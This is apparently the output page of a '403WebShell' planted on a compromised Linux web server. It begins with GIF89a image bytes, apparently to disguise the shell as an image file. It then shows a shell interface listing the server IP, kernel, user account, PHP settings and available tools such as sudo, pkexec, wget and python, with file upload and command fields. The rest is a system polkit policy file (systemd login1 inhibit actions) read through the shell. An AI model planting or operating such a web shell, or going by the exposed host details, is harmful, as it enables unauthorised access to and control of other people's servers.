GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 216.73.216.43
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/share/polkit-1/actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/share/polkit-1/actions/org.freedesktop.login1.policy
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
        "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">
<policyconfig>

        <vendor>The systemd Project</vendor>
        <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>

        <action id="org.freedesktop.login1.inhibit-block-shutdown">
                <description>Allow applications to inhibit system shutdown</description>
                <description xml:lang="de">Anwendungen dürfen das Herunterfahren des Systems unterbinden</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να αποτρέπουν τον τερματισμό του συστήματος</description>
                <description xml:lang="fr">Permet aux applications d'empêcher l'arrêt du système</description>
                <description xml:lang="hu">Alkalmazások meggátolhatják a rendszer leállítását</description>
                <description xml:lang="it">Consenti alle applicazioni di inibire lo spegnimento del sistema</description>
                <description xml:lang="pl">Zezwolenie programom na wstrzymywanie wyłączenia systemu</description>
                <description xml:lang="pt_BR">Permitir que aplicativos inibam o desligamento do sistema</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать блокировку на выключение системы</description>
                <description xml:lang="sv">Tillåt program att hindra systemavstängning</description>
                <description xml:lang="uk">Дозволити програмам перешкоджати вимкненню системи</description>
                <message>Authentication is required for an application to inhibit system shutdown.</message>
                <message xml:lang="de">Legitimierung ist notwendig, um Anwendungen das Herunterfahren des Systems zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να αποτρέψει τον τερματισμό του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application d'empêcher l'arrêt du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a rendszerleállítás meggátlásához.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per inibire lo spegnimento del sistema.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby wstrzymać wyłączenie systemu.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo iniba o desligamento do sistema.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать блокировку на выключение системы, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att hindra systemavstängning.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам перешкоджати вимкненню системи.</message>
                <defaults>
                        <allow_any>no</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.inhibit-delay-shutdown org.freedesktop.login1.inhibit-block-sleep org.freedesktop.login1.inhibit-delay-sleep org.freedesktop.login1.inhibit-block-idle</annotate>
        </action>

        <action id="org.freedesktop.login1.inhibit-delay-shutdown">
                <description>Allow applications to delay system shutdown</description>
                <description xml:lang="de">Anwendungen dürfen das Herunterfahren des Systems verzögern</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να καθυστερούν τον τερματισμό του συστήματος</description>
                <description xml:lang="fr">Permet aux applications de retarder l'arrêt du système</description>
                <description xml:lang="hu">Alkalmazások késleltethetik a rendszer leállítását</description>
                <description xml:lang="it">Consenti alle applicazioni di ritardare lo spegnimento del sistema</description>
                <description xml:lang="pl">Zezwolenie programom na opóźnienie wyłączenia systemu</description>
                <description xml:lang="pt_BR">Permitir que aplicativos atrasem o desligamento do sistema</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать задержку на выключение системы</description>
                <description xml:lang="sv">Tillåt program att fördröja systemavstängning</description>
                <description xml:lang="uk">Дозволити програмам затримувати вимкнення системи</description>
                <message>Authentication is required for an application to delay system shutdown.</message>
                <message xml:lang="de">Legitimierung ist notwendig, um Anwendungen das Verzögern des Herunterfahren des Systems zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να καθυστερήσει τον τερματισμό του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application de retarder l'arrêt du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a rendszerleállítás késleltetéséhez.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per ritardare lo spegnimento del sistema.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby opóźnić wyłączenie systemu.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo atrase o desligamento do sistema.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать задержку на выключение системы, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att fördröja systemavstängning.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам затримувати вимкнення системи.</message>
                <defaults>
                        <allow_any>yes</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.inhibit-delay-sleep</annotate>
        </action>

        <action id="org.freedesktop.login1.inhibit-block-sleep">
                <description>Allow applications to inhibit system sleep</description>
                <description xml:lang="de">Anwendungen dürfen den Bereitschaftsmodus unterbinden</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να αποτρέπουν την ύπνωση του συστήματος</description>
                <description xml:lang="fr">Permet aux applications d'empêcher la mise en veille du système</description>
                <description xml:lang="hu">Alkalmazások meggátolhatják a rendszer altatását</description>
                <description xml:lang="it">Consenti alle applicazioni di inibire il sistema in pausa</description>
                <description xml:lang="pl">Zezwolenie programom na wstrzymanie uśpienia systemu</description>
                <description xml:lang="pt_BR">Permitir que aplicativos inibam a suspensão do sistema</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать блокировку на засыпание системы</description>
                <description xml:lang="sv">Tillåt program att hindra system att försättas i viloläge</description>
                <description xml:lang="uk">Дозволити програмам перешкоджати засинанню системи</description>
                <message>Authentication is required for an application to inhibit system sleep.</message>
                <message xml:lang="de">Legitimierung ist erforderlich, um Anwendungen das Unterbinden des Bereitschaftsmodus zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να αποτρέψει την ύπνωση του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application d'empêcher la mise en veille du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a rendszeraltatás meggátlásához.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per inibire il sistema in pausa.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby wstrzymać uśpienie systemu.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo iniba a suspensão do sistema.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать блокировку на засыпание системы, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att hindra ett system att försättas i viloläge.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам перешкоджати засинанню системи.</message>
                <defaults>
                        <allow_any>no</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.inhibit-delay-sleep org.freedesktop.login1.inhibit-block-idle</annotate>
        </action>

        <action id="org.freedesktop.login1.inhibit-delay-sleep">
                <description>Allow applications to delay system sleep</description>
                <description xml:lang="de">Anwendungen dürfen den Bereitschaftsmodus verzögern</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να καθυστερούν την ύπνωση του συστήματος</description>
                <description xml:lang="fr">Permet aux applications de retarder la mise en veille du système</description>
                <description xml:lang="hu">Alkalmazások késleltethetik a rendszer altatását</description>
                <description xml:lang="it">Consenti alle applicazioni di ritardare il sistema in pausa</description>
                <description xml:lang="pl">Zezwolenie programom na opóźnienie uśpienia systemu</description>
                <description xml:lang="pt_BR">Permite que aplicativos atrasem a suspensão do sistema</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать задержку на засыпание системы</description>
                <description xml:lang="sv">Tillåt program att fördröja att system försätts i viloläge</description>
                <description xml:lang="uk">Дозволити програмами затримувати засинання системи</description>
                <message>Authentication is required for an application to delay system sleep.</message>
                <message xml:lang="de">Legitimierung ist erforderlich, um Anwendungen das Verzögern des Bereitschaftsmodus zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να καθυστερήσει την ύπνωση του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application de retarder la mise en veille du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a rendszeraltatás késleltetéséhez.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per ritardare il sistema in pausa.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby opóźnić uśpienie systemu.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo atrase a suspensão do sistema.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать задержку на засыпание системы, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att fördröja ett system att försättas i viloläge.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам затримувати засинання системи.</message>
                <defaults>
                        <allow_any>yes</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.inhibit-block-idle">
                <description>Allow applications to inhibit automatic system suspend</description>
                <description xml:lang="de">Anwendungen dürfen den automatischen Bereitschaftsmodus unterbinden</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να αποτρέπουν την αυτόματη αναστολή του συστήματος</description>
                <description xml:lang="fr">Permet aux applications d'empêcher l'hibernation automatique du système</description>
                <description xml:lang="hu">Alkalmazások meggátolhatják a rendszer automatikus felfüggesztését</description>
                <description xml:lang="it">Consenti alle applicazioni di inibire la sospesione automatica del sistema</description>
                <description xml:lang="pl">Zezwolenie programom na wstrzymanie automatycznego uśpienia systemu</description>
                <description xml:lang="pt_BR">Permitir que aplicativos inibam a suspensão automática do sistema</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать блокировку на автоматический переход системы в ждущий режим</description>
                <description xml:lang="sv">Tillåt program att hindra automatiskt systemvänteläge</description>
                <description xml:lang="uk">Дозволити програмам перешкоджати автоматичному призупиненню системи</description>
                <message>Authentication is required for an application to inhibit automatic system suspend.</message>
                <message xml:lang="de">Legitimierung ist notwendig, um Anwendungen das Unterbinden des automatischen Bereitschaftsmodus zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να αποτρέψει την αυτόματη αναστολή του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application d'empêcher l'hibernation automatique du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára az automatikus rendszerfelfüggesztés meggátlásához.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per inibire la sospensione automatica del sistema.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby wstrzymać automatyczne uśpienie systemu.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo iniba a suspensão automática do sistema.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать блокировку на автоматический переход системы в ждущий режим, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att hindra automatiskt systemvänteläge.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам перешкоджати автоматичному призупиненню системи.</message>
                <defaults>
                        <allow_any>yes</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.inhibit-handle-power-key">
                <description>Allow applications to inhibit system handling of the power key</description>
                <description xml:lang="de">Anwendungen dürfen das Auswerten des Ein-/Ausschaltknopfs des Systems unterbinden</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να αποτρέπουν τη διαχείριση του πλήκτρου ενεργοποίησης του συστήματος</description>
                <description xml:lang="fr">Permet aux applications d'empêcher la gestion du bouton d'alimentation  du système</description>
                <description xml:lang="hu">Alkalmazások meggátolhatják a bekapcsoló gomb rendszer általi kezelését</description>
                <description xml:lang="it">Consenti alle applicazioni di inibire la gestione di sistema del tasto di accensione</description>
                <description xml:lang="pl">Zezwolenie programom na wstrzymanie obsługi klawisza zasilania przez system</description>
                <description xml:lang="pt_BR">Permitir que aplicativos inibam o sistema de gerenciar o botão de energia</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать блокировку обработки нажатий на кнопку выключения</description>
                <description xml:lang="sv">Tillåt program att hindra systemhantering av strömknappen</description>
                <description xml:lang="uk">Дозволити програмам перешкоджати обробленню системою клавіші живлення</description>
                <message>Authentication is required for an application to inhibit system handling of the power key.</message>
                <message xml:lang="de">Legitmierung ist erforderlich, um Anwendungen das Unterbinden der Auswertung der Ein-/Ausschaltknopfs des Systems zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να αποτρέψει την διαχείριση του πλήκτρου ενεργοποίησης του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application d'empêcher la gestion du bouton d'alimentation du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a bekapcsoló gomb rendszer általi kezelésének meggátlásához.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per inibire la gestione di sistema del tasto di accensione.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby wstrzymać obsługę klawisza zasilania przez system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo iniba a manipulação do sistema sobre a chave de ligar/desligar.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать блокировку обработки нажатий на кнопку выключения, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att hindra systemhantering av strömknappen.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам перешкоджати обробленню системою клавіші живлення.</message>
                <defaults>
                        <allow_any>no</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.inhibit-handle-suspend-key org.freedesktop.login1.inhibit-handle-hibernate-key org.freedesktop.login1.inhibit-handle-lid-switch</annotate>
        </action>

        <action id="org.freedesktop.login1.inhibit-handle-suspend-key">
                <description>Allow applications to inhibit system handling of the suspend key</description>
                <description xml:lang="de">Anwendungen dürfen das Auswerten des Bereitschaftsknopfs des Systems unterbinden</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να αποτρέπουν τη διαχείριση του πλήκτρου αναστολής του συστήματος.</description>
                <description xml:lang="fr">Permet aux applications d'empêcher la gestion du bouton de mise en veille du système</description>
                <description xml:lang="hu">Alkalmazások meggátolhatják a felfüggesztés gomb rendszer általi kezelését</description>
                <description xml:lang="it">Consenti alle applicazioni di inibire la gestione di sistema del tasto di sospensione</description>
                <description xml:lang="pl">Zezwolenie programom na wstrzymanie obsługi klawisza uśpienia przez system</description>
                <description xml:lang="pt_BR">Permitir que aplicativos inibam o sistema de gerenciar o botão de suspensão</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать блокировку обработки нажатий на кнопку перехода в ждущий режим</description>
                <description xml:lang="sv">Tillåt program att hindra systemhantering av väntelägesknappen</description>
                <description xml:lang="uk">Дозволити програмам перешкоджати обробленню системою клавіші призупинення</description>
                <message>Authentication is required for an application to inhibit system handling of the suspend key.</message>
                <message xml:lang="de">Legitimierung ist erforderlich, um Anwendungen das Unterbinden der Auswertung des Bereitschaftsknopfes des Systems zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να αποτρέψει την διαχείριση του πλήκτρου αναστολής του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application d'empêcher la gestion du bouton de mise en veille du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a felfüggesztés gomb rendszer általi kezelésének meggátlásához.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per inibire la gestione di sistema del tasto di sospensione.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby wstrzymać obsługę klawisza uśpienia przez system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo iniba a manipulação do sistema sobre a chave de suspensão.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать блокировку обработки нажатий на кнопку перехода в ждущий режим, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att hindra systemhantering av väntelägesknappen.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам перешкоджати обробленню системою клавіші призупинення.</message>
                <defaults>
                        <allow_any>no</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.inhibit-handle-hibernate-key org.freedesktop.login1.inhibit-handle-lid-switch</annotate>
        </action>

        <action id="org.freedesktop.login1.inhibit-handle-hibernate-key">
                <description>Allow applications to inhibit system handling of the hibernate key</description>
                <description xml:lang="de">Anwendungen dürfen das Auswerten des Knopfs für den Ruhezustand unterbinden</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να αποτρέπουν τη διαχείριση του πλήκτρου αδρανοποίησης του συστήματος</description>
                <description xml:lang="fr">Permet aux applications d'empêcher la gestion du bouton d'hibernation du système</description>
                <description xml:lang="hu">Alkalmazások meggátolhatják a hibernálás gomb rendszer általi kezelését</description>
                <description xml:lang="it">Consenti alle applicazioni di inibire la gestione di sistema del tasto di ibernazione</description>
                <description xml:lang="pl">Zezwolenie programom na wstrzymanie obsługi klawisza hibernacji przez system</description>
                <description xml:lang="pt_BR">Permitir que aplicativos inibam o sistema de gerenciar o botão de hibernação</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать блокировку обработки нажатий на кнопку перехода в спящий режим</description>
                <description xml:lang="sv">Tillåt program att hindra systemhantering av vilolägesknappen</description>
                <description xml:lang="uk">Дозволити програмам перешкоджати обробленню системою клавіші присипання</description>
                <message>Authentication is required for an application to inhibit system handling of the hibernate key.</message>
                <message xml:lang="de">Legitimierung ist erforderlich, um Anwendungen das Unterbinden der Auswertung des Knopfs für den Ruhezustand zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να αποτρέψει την διαχείριση του πλήκτρου αδρανοποίησης του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application d'empêcher la gestion du bouton d'hibernation du système.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a hibernálás gomb rendszer általi kezelésének meggátlásához.</message>
                <message xml:lang="it">Autenticazione richiesta per un'applicazione per inibire la gestione di sistema del tasto di ibernazione.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby wstrzymać obsługę klawisza hibernacji przez system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo iniba a manipulação do sistema sobre a chave de hibernar.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать блокировку обработки нажатий на кнопку перехода в спящий режим, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att hindra systemhantering av vilolägesknappen.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам перешкоджати обробленню системою клавіші присипання.</message>
                <defaults>
                        <allow_any>no</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.inhibit-handle-lid-switch">
                <description>Allow applications to inhibit system handling of the lid switch</description>
                <description xml:lang="de">Anwendungen dürfen das Auswerten des Notebookdeckelschalters unterbinden</description>
                <description xml:lang="el">Να επιτρέπεται στις εφαρμογές να αποτρέπουν τη διαχείριση του διακόπτη καλύμματος του συστήματος</description>
                <description xml:lang="fr">Permet aux applications d'empêcher la gestion par le système du rabat de l'écran</description>
                <description xml:lang="hu">Alkalmazások meggátolhatják a fedélkapcsoló rendszer általi kezelését</description>
                <description xml:lang="it">Consenti alle applicazioni di inibire la gestione di sistema alla apertura/chiusura del portatile</description>
                <description xml:lang="pl">Zezwolenie programom na wstrzymanie obsługi przełącznika pokrywy przez system</description>
                <description xml:lang="pt_BR">Permitir que aplicativos inibam o sistema de gerenciar a abertura/fechamento da tampa do dispositivo portátil</description>
                <description xml:lang="ru">Разрешить приложениям устанавливать блокировку на обработку закрытия крышки ноутбука</description>
                <description xml:lang="sv">Tillåt program att hindra systemhantering av växel för datorhölje</description>
                <description xml:lang="uk">Дозволити програмам перешкоджати обробленню системою клавіші перемикання кришки</description>
                <message>Authentication is required for an application to inhibit system handling of the lid switch.</message>
                <message xml:lang="de">Legitimierung ist erforderlich, um Anwendungen das Unterbinden der Auswertung des Notebookdeckelschalters des Systems zu erlauben.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μια εφαρμογή να αποτρέψει την διαχείριση του διακόπτη καλύμματος του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour permettre à une application d'empêcher la gestion par le système du rabat de l'écran.</message>
                <message xml:lang="hu">Hitelesítés szükséges egy alkalmazás számára a fedélkapcsoló rendszer általi kezelésének meggátlásához.</message>
                <message xml:lang="it">Autenticazione richiesta per consentire ad un'applicazione di inibire la gestione di sistema alla apertura/chiusura del portatile.</message>
                <message xml:lang="pl">Program wymaga uwierzytelnienia, aby wstrzymać obsługę przełącznika pokrywy przez system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para que um aplicativo iniba a manipulação do sistema sobre o interruptor da tela.</message>
                <message xml:lang="ru">Чтобы разрешить приложениям устанавливать блокировку на обработку закрытия крышки ноутбука, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att tillåta ett program att hindra systemhantering av brytaren för datorhöljet.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити програмам перешкоджати обробленню системою клавіші перемикання кришки.</message>
                <defaults>
                        <allow_any>no</allow_any>
                        <allow_inactive>yes</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

